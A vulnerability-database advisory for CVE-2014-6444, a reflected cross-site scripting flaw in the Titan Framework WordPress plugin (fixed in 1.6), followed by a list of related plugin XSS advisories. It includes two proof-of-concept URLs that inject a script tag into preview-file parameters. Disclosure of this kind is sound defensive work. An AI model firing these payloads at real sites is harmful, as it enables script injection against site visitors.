Titan Framework 1.0.1-1.5.2 – Reflected Cross-Site Scripting (XSS) | CVE 2014-6444 | Plugin Vulnerabilities

Description

The Titan Framework WordPress plugin was affected by a Reflected Cross-Site Scripting (XSS) security vulnerability.

Proof of Concept

/wp-content/plugins/<path to titan framework>/iframe-googlefont-preview.php?f=Arial&t=<script type="text/javascript">alert(".");</script>
/wp-content/plugins/<path to titan framework>/iframe-font-preview.php?text=<script type="text/javascript">alert(".");</script>

Affects Plugins

titan-framework

Fixed in 1.6

References

CVE

URL

https://g0blin.co.uk/cve-2014-6444/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Submitter

ethicalhack3r

Submitter twitter

Verified

No

WPVDB ID

2b7c4809-72de-4ef5-84f2-ef55b9388cc3

Timeline

Publicly Published

2014-10-07 (about 11 years ago)

Added

2015-11-13 (about 10 years ago)

Last Updated

2021-03-27 (about 5 years ago)

Other

Published

Title

Published

2025-01-06

Title

SpeakOut! Email Petitions < 4.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-10-21

Title

This-or-That by André Boekhorst <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2020-07-03

Title

Testimonials Widget < 4.0.0 - Multiple Authenticated Stored XSS

Published

2024-07-08

Title

Unlimited Elements For Elementor (Free Widgets, Addons, Templates) < 1.5.113 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'email'

Published

2026-01-06

Title

Premmerce WooCommerce Customers Manager < 1.1.15 - Reflected Cross-Site Scripting